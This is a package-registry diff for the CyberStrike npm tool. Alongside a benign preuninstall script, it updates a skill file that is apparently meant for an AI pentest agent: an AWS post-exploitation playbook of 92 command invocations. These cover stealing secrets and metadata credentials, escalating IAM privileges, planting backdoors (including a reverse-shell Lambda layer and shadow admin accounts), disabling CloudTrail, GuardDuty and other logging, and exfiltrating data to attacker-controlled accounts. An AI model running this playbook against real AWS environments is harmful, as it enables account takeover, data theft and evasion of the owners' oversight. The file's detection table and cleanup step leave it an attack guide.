@cyberstrike-io/cyberstrike 1.1.16-beta.6 → 1.1.16-beta.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -5,9 +5,10 @@
5
5
  "cyberstrike": "./bin/cyberstrike"
6
6
  },
7
7
  "scripts": {
8
- "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs"
8
+ "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs",
9
+ "preuninstall": "bun ./preuninstall.mjs || node ./preuninstall.mjs || true"
9
10
  },
10
- "version": "1.1.16-beta.6",
11
+ "version": "1.1.16-beta.7",
11
12
  "license": "AGPL-3.0-only",
12
13
  "keywords": [
13
14
  "cyberstrike",
@@ -40,16 +41,16 @@
40
41
  "playwright": "1.58.2"
41
42
  },
42
43
  "optionalDependencies": {
43
- "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.6",
44
- "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.6",
45
- "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.6",
46
- "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.6",
47
- "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.6",
48
- "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.6",
49
- "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.6",
50
- "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.6",
51
- "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.6",
52
- "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.6",
53
- "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.6"
44
+ "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.7",
45
+ "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.7",
46
+ "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.7",
47
+ "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.7",
48
+ "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.7",
49
+ "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.7",
50
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.7",
51
+ "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.7",
52
+ "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.7",
53
+ "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.7",
54
+ "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.7"
54
55
  }
55
56
  }
@@ -0,0 +1,38 @@
1
+ #!/usr/bin/env node
2
+
3
+ import path from "path"
4
+ import fs from "fs"
5
+ import os from "os"
6
+
7
+ function xdgDataDir() {
8
+ return process.env.XDG_DATA_HOME || path.join(os.homedir(), ".local", "share")
9
+ }
10
+ function xdgCacheDir() {
11
+ return process.env.XDG_CACHE_HOME || path.join(os.homedir(), ".cache")
12
+ }
13
+ function xdgConfigDir() {
14
+ return process.env.XDG_CONFIG_HOME || path.join(os.homedir(), ".config")
15
+ }
16
+ function xdgStateDir() {
17
+ return process.env.XDG_STATE_HOME || path.join(os.homedir(), ".local", "state")
18
+ }
19
+
20
+ const dirs = [
21
+ { path: path.join(xdgDataDir(), "cyberstrike"), label: "Data (sessions, database, skills)" },
22
+ { path: path.join(xdgCacheDir(), "cyberstrike"), label: "Cache (models, assets)" },
23
+ { path: path.join(xdgConfigDir(), "cyberstrike"), label: "Config (settings, providers)" },
24
+ { path: path.join(xdgStateDir(), "cyberstrike"), label: "State" },
25
+ ]
26
+
27
+ const existing = dirs.filter((d) => fs.existsSync(d.path))
28
+
29
+ if (existing.length > 0) {
30
+ console.log("")
31
+ console.log(" CyberStrike data directories are preserved after package removal.")
32
+ console.log(" To remove them, run:")
33
+ console.log("")
34
+ console.log(" rm -rf " + existing.map((d) => d.path).join(" \\\n "))
35
+ console.log("")
36
+ console.log(" Or reinstall and run: cyberstrike uninstall")
37
+ console.log("")
38
+ }
@@ -1,128 +1,259 @@
1
1
  ---
2
2
  name: aws-postexploit
3
- description: AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
3
+ description: AWS post-exploitation 92 programs for full kill chain from recon to cleanup via AWS CLI
4
4
  category: post-exploitation
5
- tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence]
5
+ tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence, lateral-movement, exfiltration, privesc]
6
6
  tech_stack: [aws, aws-cli]
7
- cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
8
- chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005]
7
+ cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284, CWE-312, CWE-311, CWE-287, CWE-732, CWE-200, CWE-78, CWE-547]
8
+ chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005, T1087.004, T1580, T1021.007, T1525, T1609, T1555.006, T1070]
9
9
  prerequisites: [T1078.004, T1552.005]
10
- version: "1.0"
10
+ version: "2.2"
11
11
  ---
12
12
 
13
13
  # AWS Post-Exploitation Methodology
14
14
 
15
- AWS post-exploitation uses the AWS CLI and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, RDS databases, ECS containers, SSO, and Organizations for lateral movement.
15
+ 92 programs across 7 categories for full AWS kill chain after compromising IAM credentials or EC2 instance. All tools use `aws` CLI natively no Python/boto3 dependency.
16
16
 
17
17
  ## Prerequisites
18
18
 
19
- Before deploying awshook tools, verify:
20
-
21
19
  1. **Valid AWS credentials** — access key + secret key, session token, or instance profile
22
- 2. **AWS CLI installed** — all tools use `aws` CLI natively, no Python/boto3 needed
23
- 3. **Current identity** — `aws sts get-caller-identity` to confirm access
24
- 4. **Region** — set via `--region`, `AWS_DEFAULT_REGION`, or profile config
25
-
26
- ```bash
27
- # Quick prerequisite check
28
- aws sts get-caller-identity # verify credentials work
29
- aws iam get-user 2>/dev/null || echo "No IAM user (likely role/instance profile)"
30
- aws --version # verify AWS CLI
31
- ```
20
+ 2. **AWS CLI installed** — `aws --version`
21
+ 3. **Current identity** — `aws sts get-caller-identity`
32
22
 
33
23
  ## Kill Chain Phases
34
24
 
35
- ### Phase 1 — Situational Awareness (First 60 seconds)
36
-
37
- Understand the AWS environment and current permissions.
25
+ ### Phase 1 — Reconnaissance (23 programs)
38
26
 
39
27
  | Action | Command | Purpose |
40
28
  |--------|---------|---------|
41
- | IAM enumeration | `awshook iam_enum` | Map all users, roles, policies; identify privilege escalation paths |
42
- | Metadata harvest | `awshook metadata_harvest` | Extract IAM role credentials from EC2/ECS/Lambda metadata |
43
- | CloudTrail status | `awshook cloudtrail_blind --action status` | Check logging configuration before any noisy operations |
29
+ | IAM enumeration | `awshook iam_enum` | Users, roles, policies, privesc paths, wildcard analysis |
30
+ | EC2 enumeration | `awshook ec2_enum` | Instances, AMIs, security groups, key pairs, user-data secrets |
31
+ | S3 enumeration | `awshook s3_enum` | Buckets, policies, ACLs, encryption, public access |
32
+ | Lambda enumeration | `awshook lambda_enum` | Functions, layers, event sources, env var secrets |
33
+ | VPC enumeration | `awshook vpc_enum` | VPCs, subnets, routes, NATs, endpoints, peering |
34
+ | RDS enumeration | `awshook rds_enum` | Instances, clusters, snapshots, public access, encryption |
35
+ | ECS enumeration | `awshook ecs_enum` | Clusters, services, tasks, exec enabled, container env secrets |
36
+ | EKS enumeration | `awshook eks_enum` | Clusters, node groups, Fargate, OIDC, public endpoint |
37
+ | SSO enumeration | `awshook sso_enum` | SSO instances, permission sets, identity store |
38
+ | Org enumeration | `awshook org_enum` | Accounts, OUs, SCPs, delegated admins |
39
+ | Route53 enumeration | `awshook route53_enum` | Zones, records, health checks, subdomain takeover |
40
+ | Service recon | `awshook service_recon` | Account-wide service usage summary |
41
+ | CFN enumeration | `awshook cfn_enum` | Stacks, templates, secrets, parameters, outputs, IAM resources |
42
+ | API Gateway enum | `awshook apigw_enum` | REST/HTTP/WebSocket APIs, stages, API keys, authorizers |
43
+ | SNS/SQS enum | `awshook sns_sqs_enum` | Topics, subscriptions, queues, policies, encryption |
44
+ | CloudWatch enum | `awshook cloudwatch_enum` | Log groups, alarms, dashboards, custom metrics |
45
+ | ElastiCache enum | `awshook elasticache_enum` | Redis/Memcached auth, encryption, replication, snapshots |
46
+ | Redshift enum | `awshook redshift_enum` | Clusters, public access, encryption, audit logging, snapshots |
47
+ | Multi-region scan | `awshook multi_region_scan` | Shadow deployments across all enabled regions |
48
+ | KMS enum | `awshook kms_enum` | Customer-managed keys, policies (Principal:*), grants |
49
+ | OpenSearch enum | `awshook opensearch_enum` | Domains, public access, encryption, resource policies |
50
+ | EFS enum | `awshook efs_enum` | File systems, mount targets, SG analysis, encryption |
51
+ | ELB enum | `awshook elb_enum` | ALB/NLB/Classic, internet-facing, SSL policy, HTTP redirect |
44
52
 
45
- ### Phase 2 — Privilege Escalation
46
-
47
- Exploit IAM misconfigurations to gain higher privileges.
53
+ ### Phase 2 — Credential Harvesting (11 programs)
48
54
 
49
55
  | Action | Command | Purpose |
50
56
  |--------|---------|---------|
51
- | PassRole escalation | `awshook iam_privesc --method passrole` | Create Lambda with admin role via iam:PassRole |
52
- | AssumeRole chain | `awshook iam_privesc --method assumerole --role-arn ARN` | Assume role with broader permissions |
53
- | Policy attachment | `awshook iam_privesc --method attach_policy` | Attach AdministratorAccess to current user |
54
- | Access key creation | `awshook iam_privesc --method create_key --target-user USER` | Create new access key for persistence |
55
-
56
- ### Phase 3 Data Exfiltration
57
+ | Metadata harvest | `awshook metadata_harvest` | EC2/ECS/Lambda metadata endpoint credentials (IMDSv1/v2) |
58
+ | Secrets dump | `awshook secrets_dump` | Secrets Manager + SSM Parameter Store extraction |
59
+ | Access key enum | `awshook access_key_enum` | All active keys with age, last-used, stale detection |
60
+ | Role credential | `awshook role_credential --role-arn ARN` | STS AssumeRole for temporary credentials |
61
+ | Federation token | `awshook federation_token` | Console access from programmatic credentials |
62
+ | ECR token | `awshook ecr_token` | ECR registry auth for container image access |
63
+ | Console login | `awshook console_login --user-name NAME` | Create/update IAM console login profile |
64
+ | Cognito token | `awshook cognito_token` | Cognito pool enum, client secrets, identity pool credentials |
65
+ | CFN secret extract | `awshook cfn_secret_extract` | Extract secrets from CFN parameters, templates, outputs |
66
+ | CodeCommit cred | `awshook codecommit_cred` | HTTPS Git/SSH credentials across IAM users |
67
+ | CI/CD secrets | `awshook ci_cd_secret_extract` | CodePipeline artifacts, CodeBuild env vars, CodeStar connections |
57
68
 
58
- Extract sensitive data from AWS services.
69
+ ### Phase 3 Privilege Escalation (10 programs)
59
70
 
60
71
  | Action | Command | Purpose |
61
72
  |--------|---------|---------|
62
- | S3 dump | `awshook s3_dump` | Find and download sensitive files from all buckets |
63
- | Secrets extraction | `awshook secrets_dump` | Extract Secrets Manager and SSM Parameter Store values |
64
- | EBS snapshot | `awshook ec2_snapshot --volume-id VOL_ID` | Snapshot volumes for offline data access |
65
- | RDS dump | `awshook rds_dump --db-identifier DB_ID` | Create RDS snapshot and optionally share cross-account |
66
-
67
- ### Phase 4 Persistence
73
+ | IAM privesc | `awshook iam_privesc --method passrole` | PassRole/AssumeRole/AttachPolicy/CreateKey chains |
74
+ | Policy rollback | `awshook policy_version_rollback --policy-arn ARN --rollback` | Restore previous permissive policy version |
75
+ | Role chain | `awshook role_chain ARN1 ARN2 ARN3` | Multi-hop A→B→C cross-account/service escalation |
76
+ | Lambda privesc | `awshook lambda_privesc --role-arn ARN` | Lambda with high-priv role for code execution |
77
+ | Glue privesc | `awshook glue_privesc --role-arn ARN` | Glue job/dev endpoint with high-priv role |
78
+ | CFN privesc | `awshook cloudformation_privesc --role-arn ARN` | Stack with IAM resource creation |
79
+ | SSM privesc | `awshook ssm_privesc --instance-id ID` | RunCommand on high-priv instance profiles |
80
+ | EC2 privesc | `awshook ec2_privesc` | Launch EC2 with high-priv instance profile |
81
+ | Boundary bypass | `awshook permission_boundary_bypass` | Analyze and bypass permission boundaries |
82
+ | SageMaker privesc | `awshook sagemaker_privesc --role-arn ARN` | Notebook/training job with high-priv role |
68
83
 
69
- Establish persistent access to the AWS environment.
84
+ ### Phase 4 Persistence (11 programs)
70
85
 
71
86
  | Action | Command | Purpose |
72
87
  |--------|---------|---------|
73
- | Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Lambda |
74
- | SSM execution | `awshook ssm_exec --instance-id ID --command CMD` | Execute commands on EC2 via SSM |
75
- | ECS exec | `awshook ecs_exec --cluster CLUSTER --task TASK --command CMD` | Execute commands in ECS containers |
76
- | SSO enumeration | `awshook sso_enum` | Enumerate SSO permission sets, users, groups |
77
- | Org enumeration | `awshook org_enum` | Map Organizations accounts, OUs, SCPs |
88
+ | Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell layer |
89
+ | IAM backdoor | `awshook iam_backdoor` | Shadow admin with AdministratorAccess + keys + console |
90
+ | EventBridge | `awshook eventbridge_backdoor --target-arn ARN` | Scheduled Lambda/SSM execution |
91
+ | SSM document | `awshook ssm_document_backdoor --command CMD` | Custom command document for persistent exec |
92
+ | CodeBuild | `awshook codebuild_backdoor --role-arn ARN` | Project with credential exfil buildspec |
93
+ | AMI backdoor | `awshook ami_backdoor --instance-id ID` | AMI from compromised instance |
94
+ | Cross-account role | `awshook cross_account_role --external-account ACCT` | Trust role for external persistence |
95
+ | Cognito backdoor | `awshook cognito_backdoor --user-pool-id ID` | Admin user in Cognito pool |
96
+ | EC2 Instance Connect | `awshook ec2_instance_connect --instance-id ID` | SSH key push (60s window) |
97
+ | SSM State Manager | `awshook ssm_state_manager --command CMD --instance-id ID` | Scheduled association (stealth) |
98
+ | ECS scheduled task | `awshook ecs_scheduled_task --cluster C --task-definition DEF` | Serverless Fargate persistence |
78
99
 
79
- ### Phase 5 — Operational Security
80
-
81
- Reduce detection footprint.
100
+ ### Phase 5 — Lateral Movement (8 programs)
82
101
 
83
102
  | Action | Command | Purpose |
84
103
  |--------|---------|---------|
85
- | Stop CloudTrail | `awshook cloudtrail_blind --action stop` | Stop CloudTrail logging |
86
- | Delete logs | `awshook cloudtrail_blind --action delete_logs` | Remove existing CloudTrail logs from S3 |
104
+ | SSM exec | `awshook ssm_exec --instance-id ID --command CMD` | EC2 command execution via SSM |
105
+ | ECS exec | `awshook ecs_exec --cluster C --task T --command CMD` | Container command execution |
106
+ | Cross-account enum | `awshook cross_account_enum --try-assume` | Trust relationships + assume attempts |
107
+ | VPC peering | `awshook vpc_peering_enum` | Peering connections for network pivoting |
108
+ | Transit gateway | `awshook transit_gateway_enum` | TGW attachments + cross-account routing |
109
+ | Lightsail exec | `awshook lightsail_exec --instance-name NAME --command CMD` | Lightsail instance access |
110
+ | Lambda exec | `awshook code_exec_lambda --function-name NAME` | Direct Lambda invocation |
111
+ | SSM Session | `awshook ssm_session --instance-id ID` | Interactive shell + port forwarding |
112
+
113
+ ### Phase 6 — Defense Evasion (13 programs)
87
114
 
88
- ### Phase 6 Cleanup (MANDATORY)
115
+ | Action | Command | Purpose |
116
+ |--------|---------|---------|
117
+ | CloudTrail blind | `awshook cloudtrail_blind --action stop` | Stop/modify/delete CloudTrail logging |
118
+ | GuardDuty evade | `awshook guardduty_evade --action suspend` | Suspend detectors, archive findings, auto-suppress |
119
+ | Config disable | `awshook config_disable --action stop` | Stop AWS Config recorder |
120
+ | Flow log disable | `awshook vpc_flow_disable --action delete` | Delete VPC Flow Log subscriptions |
121
+ | Access Analyzer | `awshook access_analyzer_suppress --action archive` | Archive findings, delete analyzers |
122
+ | Security Hub | `awshook security_hub_suppress --action suppress` | Suppress findings or disable entirely |
123
+ | WAF bypass | `awshook waf_bypass` | Enumerate WAF rules, ACLs, IP sets |
124
+ | DNS Firewall | `awshook dns_firewall_disable --action disassociate` | Remove DNS Firewall from VPCs |
125
+ | CloudWatch tamper | `awshook cloudwatch_tamper --action delete` | Delete/reduce retention of log groups |
126
+ | Macie disable | `awshook macie_disable --action suspend` | Suspend/disable sensitive data discovery |
127
+ | Inspector disable | `awshook inspector_disable --action disable` | Disable vulnerability scanning |
128
+ | S3 logging disable | `awshook s3_logging_disable --action disable_access_log` | Disable S3 access logging + object-level CloudTrail |
129
+ | CloudTrail selector | `awshook cloudtrail_selector_tamper --action exclude_kms` | Surgical event selector modification (stealthier than stopping) |
89
130
 
90
- ```
91
- awshook cleanup_aws
92
- ```
131
+ ### Phase 7 — Exfiltration & Cleanup (16 programs)
93
132
 
94
- The cleanup tool:
95
- 1. Restores CloudTrail logging (start_logging on stopped trails)
96
- 2. Deletes Lambda functions and layers created by lambda_backdoor
97
- 3. Removes IAM roles, policies, and access keys created by iam_privesc
98
- 4. Deletes EBS snapshots created by ec2_snapshot
99
- 5. Cleans the state file (~/.cyberstrike/awshook-state.json)
133
+ | Action | Command | Purpose |
134
+ |--------|---------|---------|
135
+ | S3 dump | `awshook s3_dump --bucket B --download` | Sensitive file discovery and download |
136
+ | EBS snapshot | `awshook ec2_snapshot --volume-id VOL --share-account ACCT` | Snapshot with cross-account sharing |
137
+ | RDS dump | `awshook rds_dump --db-identifier ID --share-account ACCT` | RDS snapshot, share, restore |
138
+ | DynamoDB dump | `awshook dynamodb_dump --table-name T` | Table scan with secret detection |
139
+ | EBS direct read | `awshook ebs_direct_read --snapshot-id SNAP` | Block-level read without EC2 |
140
+ | S3 exfil | `awshook s3_exfil --bucket B --external-account A` | Modify bucket policy for external access |
141
+ | Data stage | `awshook data_stage --source PATH --dest-bucket B` | Compress and stage to attacker S3 |
142
+ | **Cleanup** | `awshook cleanup_aws` | **ALWAYS run — removes all CyberStrike resources** |
143
+ | CodeCommit dump | `awshook codecommit_dump --repo NAME` | Repo clone with secret file extraction |
144
+ | ECR dump | `awshook ecr_dump --repository NAME` | Container images, vulns, auth tokens |
145
+ | Athena query | `awshook athena_query --query-string SQL` | SQL query against S3 data lakes |
146
+ | Secrets bulk export | `awshook secrets_bulk_export` | Bulk extract all secrets with S3 staging |
147
+ | Backup vault enum | `awshook backup_vault_enum` | AWS Backup vaults, recovery points, cross-account sharing |
148
+ | CloudWatch logs dump | `awshook cloudwatch_logs_dump --log-group NAME` | Export CloudWatch logs to S3 for offline analysis |
149
+ | SNS/SQS siphon | `awshook sns_sqs_siphon --topic-arn ARN` | Intercept SNS subscriptions and SQS messages |
150
+ | Kinesis tap | `awshook kinesis_tap --stream-name NAME` | Tap Kinesis data streams for real-time interception |
100
151
 
101
152
  ## Detection Considerations
102
153
 
103
- AWS post-exploitation tools are detectable by:
104
- - **CloudTrail** — All API calls logged (unless blinded). Key events: CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging
105
- - **GuardDuty** Anomalous IAM behavior, unusual API calls, credential exfiltration patterns
106
- - **AWS Config** Configuration change detection for IAM, Lambda, CloudTrail
107
- - **IAM Access Analyzer** External access to resources, unused permissions
108
- - **Security Hub** Aggregated findings from GuardDuty, Config, Access Analyzer
109
- - **S3 Access Logging** Object-level access logging for data exfiltration detection
154
+ | Service | What it catches |
155
+ |---------|-----------------|
156
+ | CloudTrail | All API calls (unless blinded): CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging, AssumeRole |
157
+ | GuardDuty | Anomalous IAM behavior, credential exfiltration, unusual API patterns, policy changes |
158
+ | AWS Config | Configuration changes for IAM, Lambda, CloudTrail, VPC, Security Groups |
159
+ | Access Analyzer | External access to S3, IAM, Lambda, SQS, SNS, KMS |
160
+ | Security Hub | Aggregated findings from all security services |
161
+ | VPC Flow Logs | Network traffic patterns for lateral movement detection |
162
+ | DNS Firewall | DNS-based exfiltration attempts |
110
163
 
111
164
  ## Program Reference
112
165
 
113
- | Program | Technique | MITRE ATT&CK |
114
- |---------|-----------|---------------|
115
- | iam_enum | IAM user/role/policy enumeration and privesc analysis | T1087.004 Cloud Account |
116
- | iam_privesc | IAM privilege escalation via PassRole/AssumeRole/Policy | T1098 — Account Manipulation |
117
- | s3_dump | S3 bucket data exfiltration | T1530 — Data from Cloud Storage |
118
- | lambda_backdoor | Lambda function backdoor for persistence | T1525 — Implant Internal Image |
119
- | ssm_exec | Remote command execution via SSM | T1021.007 — Cloud Services |
120
- | metadata_harvest | EC2/ECS/Lambda metadata credential extraction | T1552.005 — Cloud Instance Metadata API |
121
- | cloudtrail_blind | CloudTrail log evasion | T1562.008 — Disable Cloud Logs |
122
- | secrets_dump | Secrets Manager/Parameter Store extraction | T1555.006 — Cloud Secrets Management Stores |
123
- | ec2_snapshot | EBS volume snapshot for data access | T1537 — Transfer Data to Cloud Account |
124
- | rds_dump | RDS snapshot and cross-account sharing | T1530 — Data from Cloud Storage |
125
- | ecs_exec | ECS Exec command execution in containers | T1609 — Container Administration Command |
126
- | sso_enum | AWS SSO/Identity Center enumeration | T1087.004 — Cloud Account |
127
- | org_enum | AWS Organizations cross-account recon | T1580 Cloud Infrastructure Discovery |
128
- | cleanup_aws | Resource removal and trail restoration | T1070 — Indicator Removal |
166
+ | Program | MITRE ATT&CK | CWE |
167
+ |---------|--------------|-----|
168
+ | iam_enum | T1087.004 Cloud Account | CWE-269 |
169
+ | ec2_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
170
+ | s3_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
171
+ | lambda_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
172
+ | vpc_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
173
+ | rds_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
174
+ | ecs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
175
+ | eks_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
176
+ | sso_enum | T1087.004 Cloud Account | CWE-269 |
177
+ | org_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
178
+ | route53_enum | T1596 Search Open Technical Databases | CWE-284 |
179
+ | service_recon | T1580 Cloud Infrastructure Discovery | CWE-200 |
180
+ | cfn_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
181
+ | apigw_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
182
+ | sns_sqs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
183
+ | cloudwatch_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
184
+ | elasticache_enum | T1580 Cloud Infrastructure Discovery | CWE-287 |
185
+ | redshift_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
186
+ | multi_region_scan | T1580 Cloud Infrastructure Discovery | CWE-200 |
187
+ | kms_enum | T1580 Cloud Infrastructure Discovery | CWE-732 |
188
+ | opensearch_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
189
+ | efs_enum | T1580 Cloud Infrastructure Discovery | CWE-311 |
190
+ | elb_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
191
+ | metadata_harvest | T1552.005 Cloud Instance Metadata API | CWE-522 |
192
+ | secrets_dump | T1555.006 Cloud Secrets Management Stores | CWE-522 |
193
+ | access_key_enum | T1087.004 Cloud Account | CWE-522 |
194
+ | role_credential | T1078.004 Cloud Accounts | CWE-522 |
195
+ | federation_token | T1078.004 Cloud Accounts | CWE-522 |
196
+ | ecr_token | T1552.001 Credentials In Files | CWE-522 |
197
+ | console_login | T1098 Account Manipulation | CWE-522 |
198
+ | cognito_token | T1078.004 Cloud Accounts | CWE-287 |
199
+ | cfn_secret_extract | T1552.001 Credentials In Files | CWE-312 |
200
+ | codecommit_cred | T1552.001 Credentials In Files | CWE-522 |
201
+ | ci_cd_secret_extract | T1552.001 Credentials In Files | CWE-312 |
202
+ | iam_privesc | T1098 Account Manipulation | CWE-269 |
203
+ | policy_version_rollback | T1098 Account Manipulation | CWE-269 |
204
+ | role_chain | T1078.004 Cloud Accounts | CWE-269 |
205
+ | lambda_privesc | T1098 Account Manipulation | CWE-269 |
206
+ | glue_privesc | T1098 Account Manipulation | CWE-269 |
207
+ | cloudformation_privesc | T1098 Account Manipulation | CWE-269 |
208
+ | ssm_privesc | T1098 Account Manipulation | CWE-269 |
209
+ | ec2_privesc | T1098 Account Manipulation | CWE-269 |
210
+ | permission_boundary_bypass | T1098 Account Manipulation | CWE-732 |
211
+ | sagemaker_privesc | T1098 Account Manipulation | CWE-269 |
212
+ | lambda_backdoor | T1525 Implant Internal Image | CWE-547 |
213
+ | iam_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
214
+ | eventbridge_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
215
+ | ssm_document_backdoor | T1059.009 Cloud API | CWE-547 |
216
+ | codebuild_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
217
+ | ami_backdoor | T1525 Implant Internal Image | CWE-547 |
218
+ | cross_account_role | T1098.001 Additional Cloud Credentials | CWE-284 |
219
+ | cognito_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
220
+ | ec2_instance_connect | T1098.004 SSH Authorized Keys | CWE-284 |
221
+ | ssm_state_manager | T1053.005 Scheduled Task | CWE-547 |
222
+ | ecs_scheduled_task | T1053.007 Container Orchestration Job | CWE-547 |
223
+ | ssm_exec | T1021.007 Cloud Services | CWE-78 |
224
+ | ecs_exec | T1609 Container Administration Command | CWE-78 |
225
+ | cross_account_enum | T1087.004 Cloud Account | CWE-284 |
226
+ | vpc_peering_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
227
+ | transit_gateway_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
228
+ | lightsail_exec | T1021.007 Cloud Services | CWE-522 |
229
+ | code_exec_lambda | T1059.009 Cloud API | CWE-78 |
230
+ | ssm_session | T1021.007 Cloud Services | CWE-284 |
231
+ | cloudtrail_blind | T1562.008 Disable Cloud Logs | CWE-693 |
232
+ | guardduty_evade | T1562.008 Disable Cloud Logs | CWE-693 |
233
+ | config_disable | T1562.008 Disable Cloud Logs | CWE-693 |
234
+ | vpc_flow_disable | T1562.008 Disable Cloud Logs | CWE-693 |
235
+ | access_analyzer_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
236
+ | security_hub_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
237
+ | waf_bypass | T1562.001 Disable or Modify Tools | CWE-693 |
238
+ | dns_firewall_disable | T1562.001 Disable or Modify Tools | CWE-693 |
239
+ | cloudwatch_tamper | T1070.002 Clear Linux or Mac System Logs | CWE-693 |
240
+ | macie_disable | T1562.008 Disable Cloud Logs | CWE-693 |
241
+ | inspector_disable | T1562.008 Disable Cloud Logs | CWE-693 |
242
+ | s3_logging_disable | T1562.008 Disable Cloud Logs | CWE-693 |
243
+ | cloudtrail_selector_tamper | T1562.008 Disable Cloud Logs | CWE-693 |
244
+ | s3_dump | T1530 Data from Cloud Storage | CWE-200 |
245
+ | ec2_snapshot | T1537 Transfer Data to Cloud Account | CWE-200 |
246
+ | rds_dump | T1530 Data from Cloud Storage | CWE-200 |
247
+ | dynamodb_dump | T1530 Data from Cloud Storage | CWE-200 |
248
+ | ebs_direct_read | T1530 Data from Cloud Storage | CWE-200 |
249
+ | s3_exfil | T1537 Transfer Data to Cloud Account | CWE-284 |
250
+ | data_stage | T1074.002 Remote Data Staging | CWE-200 |
251
+ | codecommit_dump | T1213.003 Code Repositories | CWE-200 |
252
+ | ecr_dump | T1530 Data from Cloud Storage | CWE-200 |
253
+ | athena_query | T1530 Data from Cloud Storage | CWE-200 |
254
+ | secrets_bulk_export | T1555.006 Cloud Secrets Management Stores | CWE-200 |
255
+ | backup_vault_enum | T1530 Data from Cloud Storage | CWE-284 |
256
+ | cloudwatch_logs_dump | T1530 Data from Cloud Storage | CWE-200 |
257
+ | sns_sqs_siphon | T1530 Data from Cloud Storage | CWE-200 |
258
+ | kinesis_tap | T1530 Data from Cloud Storage | CWE-200 |
259
+ | cleanup_aws | T1070 Indicator Removal | — |